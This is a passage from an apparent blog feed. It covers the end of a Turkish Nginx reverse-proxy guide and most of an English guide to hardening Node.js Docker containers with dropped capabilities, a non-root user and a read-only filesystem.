&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/api/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kn"&gt;limit_req&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;zone=api&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;burst=20&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;nodelay&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kn"&gt;limit_req_status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;429&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kn"&gt;proxy_pass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;http://app&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kn"&gt;proxy_set_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;Host&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kn"&gt;proxy_set_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;X-Real-IP&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="nv"&gt;$remote_addr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kn"&gt;proxy_set_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;X-Forwarded-For&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;$proxy_add_x_forwarded_for&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kn"&gt;proxy_set_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;X-Forwarded-Proto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$scheme&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kn"&gt;proxy_read_timeout&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;60s&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;# Di&amp;gbreve;er t&amp;uuml;m istekler uygulamaya y&amp;ouml;nleniyor&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kn"&gt;proxy_pass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;http://app&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kn"&gt;proxy_set_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;Host&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kn"&gt;proxy_set_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;X-Real-IP&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="nv"&gt;$remote_addr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kn"&gt;proxy_set_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;X-Forwarded-For&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;$proxy_add_x_forwarded_for&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kn"&gt;proxy_set_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;X-Forwarded-Proto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$scheme&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="nginx-yonetimi-ve-komutlar"&gt;⚙️ Nginx Y&amp;ouml;netimi ve Komutlar&lt;a class="headerlink" href="#nginx-yonetimi-ve-komutlar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Yap&amp;inodot;land&amp;inodot;rmada de&amp;gbreve;i&amp;scedil;iklik yapt&amp;inodot;ktan sonra Nginx'i yeniden ba&amp;scedil;latmadan &amp;ouml;nce mutlaka test edin:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;nginx&lt;span class="w"&gt; &lt;/span&gt;-t
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E&amp;gbreve;er test ba&amp;scedil;ar&amp;inodot;l&amp;inodot;ysa, mevcut ba&amp;gbreve;lant&amp;inodot;lar&amp;inodot; koparmadan konfig&amp;uuml;rasyonu sessizce yeniden y&amp;uuml;kleyebilirsiniz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;nginx&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;reload
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Hatalar&amp;inodot; incelemek i&amp;ccedil;in ise hata g&amp;uuml;nl&amp;uuml;klerini (error log) canl&amp;inodot; olarak takip etmek en pratik yoldur:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;tail&lt;span class="w"&gt; &lt;/span&gt;-f&lt;span class="w"&gt; &lt;/span&gt;/var/log/nginx/error.log
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Nginx'i uygulaman&amp;inodot;n &amp;ouml;n&amp;uuml;ne koymak, i&amp;scedil;leri birbirinden ay&amp;inodot;rmakt&amp;inodot;r. Uygulaman&amp;inodot;z sadece kodunu &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;r; geri kalan t&amp;uuml;m a&amp;gbreve;&amp;inodot;r d&amp;inodot;&amp;scedil; d&amp;uuml;nya i&amp;scedil;lerini Nginx s&amp;inodot;rtlan&amp;inodot;r ve sistemin nefes almas&amp;inodot;n&amp;inodot; sa&amp;gbreve;lar.&lt;/p&gt;
&lt;h2 id="ilgili-yazlar"&gt;🔗 &amp;Idot;lgili Yaz&amp;inodot;lar&lt;a class="headerlink" href="#ilgili-yazlar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/docker-node-js-root-olmadan-calistirmak/"&gt;Docker ve Node.js: Root Olmadan &amp;Ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmak&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/linux-tcp-tuning-node-js-microservices/"&gt;Linux TCP Tuning &amp;amp; Node.js Microservices&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;&amp;Idot;stemciler ile sunucular aras&amp;inodot;nda durarak d&amp;inodot;&amp;scedil;ar&amp;inodot;dan gelen istekleri kar&amp;scedil;&amp;inodot;layan ve arka plandaki sunuculara y&amp;ouml;nlendiren arac&amp;inodot; sunucudur.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;Linux &amp;ccedil;ekirde&amp;gbreve;inin giri&amp;scedil;/&amp;ccedil;&amp;inodot;k&amp;inodot;&amp;scedil; (I/O) olaylar&amp;inodot;n&amp;inodot; izlemek i&amp;ccedil;in kulland&amp;inodot;&amp;gbreve;&amp;inodot; y&amp;uuml;ksek performansl&amp;inodot; olay bildirim mekanizmas&amp;inodot;d&amp;inodot;r.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Sunucu"/><category term="Nginx"/><category term="Reverse Proxy"/><category term="Linux"/><category term="Web Geliştirme"/><category term="Sunucu"/></entry><entry><title>Running Node.js Containers Without Root in Docker</title><link href="https://yuceltoluyag.github.io/en/docker-node-js-root-olmadan-calistirmak/" rel="alternate"/><published>2026-06-26T02:30:00+03:00</published><updated>2026-06-26T02:30:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-06-26:/en/docker-node-js-root-olmadan-calistirmak/</id><summary type="html">&lt;p&gt;A guide on securing Node.js Docker containers by stripping root privileges and implementing Linux Capabilities constraints, a read-only filesystem, and seccomp.&lt;/p&gt;</summary><content type="html">&lt;p&gt;The other night, while reviewing the Dockerfile of an old project, cold sweat ran down my back. That Node.js server we quickly spun up and deployed years ago had neither a &lt;code&gt;USER&lt;/code&gt; directive nor any permission restrictions. The container was running directly as root. This meant that a single RCE (remote code execution) vulnerability in &lt;code&gt;lodash&lt;/code&gt; or &lt;code&gt;express&lt;/code&gt; back then would have given an attacker full root access inside the container. From there, escaping to the host machine was just a matter of kernel vulnerabilities or poorly configured seccomp settings.&lt;/p&gt;
&lt;p&gt;The famous Dockerfile template you see in more than half of the tutorials on the internet looks exactly like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;node:20-slim&lt;/span&gt;
&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/app&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;package*.json&lt;span class="w"&gt; &lt;/span&gt;./
&lt;span class="k"&gt;RUN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;npm&lt;span class="w"&gt; &lt;/span&gt;ci&lt;span class="w"&gt; &lt;/span&gt;--only&lt;span class="o"&gt;=&lt;/span&gt;production
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;.
&lt;span class="k"&gt;EXPOSE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;3000&lt;/span&gt;
&lt;span class="k"&gt;CMD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"node"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"server.js"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;No non-root user here. Linux capabilities are not dropped. Read-only filesystem or seccomp limits? Out of the question. You run a Docker build, it works like a charm, passes all tests. But it opens the door to an exploit chain that could compromise the entire host server with a single &lt;code&gt;curl&lt;/code&gt; command.&lt;/p&gt;
&lt;p&gt;Most of us assume Docker containers are completely isolated and secure. But a container left with its default settings is like a gated community where the gate is left wide open, and there's only a dummy guard booth in front. That's why, my friend, today we will talk about four steps to close this gap and shield Node.js containers like armor: restricting Linux capabilities, switching to a non-root user, making the filesystem read-only, and applying a seccomp profile.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="why-is-root-inside-a-container-still-root"&gt;🔑 Why is Root Inside a Container Still Root?&lt;a class="headerlink" href="#why-is-root-inside-a-container-still-root" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The idea that Docker completely isolates containers is a dangerous myth. Yes, by default, some Linux capabilities are turned off and a basic seccomp filter is applied. However, the list of capabilities Docker leaves enabled by default is quite generous:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;CAP_CHOWN&lt;/code&gt;, &lt;code&gt;CAP_DAC_OVERRIDE&lt;/code&gt;, &lt;code&gt;CAP_FSETID&lt;/code&gt;, &lt;code&gt;CAP_FOWNER&lt;/code&gt;, &lt;code&gt;CAP_MKNOD&lt;/code&gt;, &lt;code&gt;CAP_NET_RAW&lt;/code&gt;, &lt;code&gt;CAP_SETGID&lt;/code&gt;, &lt;code&gt;CAP_SETUID&lt;/code&gt;, &lt;code&gt;CAP_SETFCAP&lt;/code&gt;, &lt;code&gt;CAP_SETPCAP&lt;/code&gt;, &lt;code&gt;CAP_NET_BIND_SERVICE&lt;/code&gt;, &lt;code&gt;CAP_SYS_CHROOT&lt;/code&gt;, &lt;code&gt;CAP_AUDIT_WRITE&lt;/code&gt;, &lt;code&gt;CAP_KILL&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Among these are dangerous rights like &lt;code&gt;CAP_DAC_OVERRIDE&lt;/code&gt; (which completely ignores file permissions), &lt;code&gt;CAP_NET_RAW&lt;/code&gt; (allowing network spoofing), and &lt;code&gt;CAP_SYS_CHROOT&lt;/code&gt; (which aids container escapes). An attacker who compromises the Node.js process gets all of these capabilities.&lt;/p&gt;
&lt;p&gt;The attack happens like this:
1. Thanks to a vulnerability in a project dependency, the attacker writes a file to disk.
2. Since the container runs as root, this file is saved with &lt;code&gt;uid 0&lt;/code&gt; permissions and can overwrite system files under &lt;code&gt;/usr&lt;/code&gt; or &lt;code&gt;/sbin&lt;/code&gt;.
3. The attacker escapes container boundaries using the &lt;code&gt;/proc&lt;/code&gt; directory and the &lt;code&gt;CAP_SYS_CHROOT&lt;/code&gt; capability.
4. Now, a fully privileged backdoor is open on the host server.&lt;/p&gt;
&lt;p&gt;With the following steps, we will break every link of this chain one by one.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="step-1-drop-all-linux-capabilities-add-only-what-is-needed"&gt;🛠️ Step 1: Drop All Linux Capabilities, Add Only What is Needed&lt;a class="headerlink" href="#step-1-drop-all-linux-capabilities-add-only-what-is-needed" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Our first safety measure is to reset all Linux capabilities&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; given to the container and define only the ones mandatory for the application to run.&lt;/p&gt;
&lt;p&gt;For a standard Node.js HTTP server, unless you are listening on a privileged port below 1024, you don't need any Linux capabilities. If your app boots up on port 3000 or higher, you can drop all capabilities.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Docker Compose Configuration:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;services&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;app&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;build&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;cap_drop&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;ALL&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;cap_add&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p p-Indicator"&gt;[]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"3000:3000"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Docker CLI Command:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;docker&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;--cap-drop&lt;span class="o"&gt;=&lt;/span&gt;ALL&lt;span class="w"&gt; &lt;/span&gt;my-app
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If you notice that Node.js throws errors when reading or writing files after dropping all capabilities, this is not related to capabilities but rather to POSIX file permissions. We will solve that in the next step.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="step-2-switch-to-a-non-root-user"&gt;👤 Step 2: Switch to a Non-Root User&lt;a class="headerlink" href="#step-2-switch-to-a-non-root-user" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;This is the most critical step in container security. A process running as &lt;code&gt;uid 1000&lt;/code&gt; (a non-root user) inside a container cannot write files under &lt;code&gt;/usr/bin&lt;/code&gt;, edit &lt;code&gt;/etc/passwd&lt;/code&gt;, or make unauthorized system calls.&lt;/p&gt;
&lt;p&gt;We can achieve this with a two-line change in our Dockerfile:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;node:20-slim&lt;/span&gt;

&lt;span class="c"&gt;# Create a non-root user and group&lt;/span&gt;
&lt;span class="k"&gt;RUN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;groupadd&lt;span class="w"&gt; &lt;/span&gt;--system&lt;span class="w"&gt; &lt;/span&gt;--gid&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;appuser&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;useradd&lt;span class="w"&gt; &lt;/span&gt;--system&lt;span class="w"&gt; &lt;/span&gt;--uid&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--gid&lt;span class="w"&gt; &lt;/span&gt;appuser&lt;span class="w"&gt; &lt;/span&gt;appuser

&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/app&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;package*.json&lt;span class="w"&gt; &lt;/span&gt;./
&lt;span class="k"&gt;RUN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;npm&lt;span class="w"&gt; &lt;/span&gt;ci&lt;span class="w"&gt; &lt;/span&gt;--only&lt;span class="o"&gt;=&lt;/span&gt;production&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;#&lt;span class="w"&gt; &lt;/span&gt;Give&lt;span class="w"&gt; &lt;/span&gt;ownership&lt;span class="w"&gt; &lt;/span&gt;of&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;files&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;new&lt;span class="w"&gt; &lt;/span&gt;user
&lt;span class="w"&gt;    &lt;/span&gt;chown&lt;span class="w"&gt; &lt;/span&gt;-R&lt;span class="w"&gt; &lt;/span&gt;appuser:appuser&lt;span class="w"&gt; &lt;/span&gt;/app
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--chown&lt;span class="o"&gt;=&lt;/span&gt;appuser:appuser&lt;span class="w"&gt; &lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;.

&lt;span class="k"&gt;USER&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;appuser&lt;/span&gt;
&lt;span class="k"&gt;EXPOSE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;3000&lt;/span&gt;
&lt;span class="k"&gt;CMD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"node"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"server.js"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If you are using lightweight Alpine-based images (&lt;code&gt;node:20-alpine&lt;/code&gt;), the user creation commands differ:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;node:20-alpine&lt;/span&gt;

&lt;span class="k"&gt;RUN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;addgroup&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;-g&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;appuser&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;adduser&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;-u&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-G&lt;span class="w"&gt; &lt;/span&gt;appuser&lt;span class="w"&gt; &lt;/span&gt;appuser

&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/app&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;package*.json&lt;span class="w"&gt; &lt;/span&gt;./
&lt;span class="k"&gt;RUN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;npm&lt;span class="w"&gt; &lt;/span&gt;ci&lt;span class="w"&gt; &lt;/span&gt;--only&lt;span class="o"&gt;=&lt;/span&gt;production&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;chown&lt;span class="w"&gt; &lt;/span&gt;-R&lt;span class="w"&gt; &lt;/span&gt;appuser:appuser&lt;span class="w"&gt; &lt;/span&gt;/app
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--chown&lt;span class="o"&gt;=&lt;/span&gt;appuser:appuser&lt;span class="w"&gt; &lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;.

&lt;span class="k"&gt;USER&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;appuser&lt;/span&gt;
&lt;span class="k"&gt;EXPOSE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;3000&lt;/span&gt;
&lt;span class="k"&gt;CMD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"node"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"server.js"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Critical Info: Things That Can Break When Switching to a Non-Root User! ⚠️&lt;/p&gt;
&lt;p&gt;When you switch to a non-root user, you might get permission and runtime errors in these areas:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Log files:&lt;/strong&gt; If your app tries to write under system directories like &lt;code&gt;/var/log&lt;/code&gt;, you'll get a permission error. Redirect logs to stdout/stderr or write to an allowed subdirectory within &lt;code&gt;/app&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unix socket files:&lt;/strong&gt; If you create socket files under &lt;code&gt;/var/run&lt;/code&gt;, choose a directory owned by &lt;code&gt;appuser&lt;/code&gt; instead.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Packages containing lifecycle scripts:&lt;/strong&gt; Some npm packages might run commands requiring root privileges during installation. Therefore, the cleanest method is to install packages (&lt;code&gt;npm ci&lt;/code&gt;) as the root user, then transfer files with &lt;code&gt;chown&lt;/code&gt; to run them.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="step-3-make-the-root-filesystem-read-only"&gt;💾 Step 3: Make the Root Filesystem Read-Only&lt;a class="headerlink" href="#step-3-make-the-root-filesystem-read-only" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;By mounting the container's root filesystem as read-only, we completely eliminate the attacker's chance of injecting code or manipulating system configurations.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Docker CLI:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;docker&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;--read-only&lt;span class="w"&gt; &lt;/span&gt;--tmpfs&lt;span class="w"&gt; &lt;/span&gt;/tmp&lt;span class="w"&gt; &lt;/span&gt;--tmpfs&lt;span class="w"&gt; &lt;/span&gt;/app/data&lt;span class="w"&gt; &lt;/span&gt;my-app
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Docker Compose:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;services&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;app&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
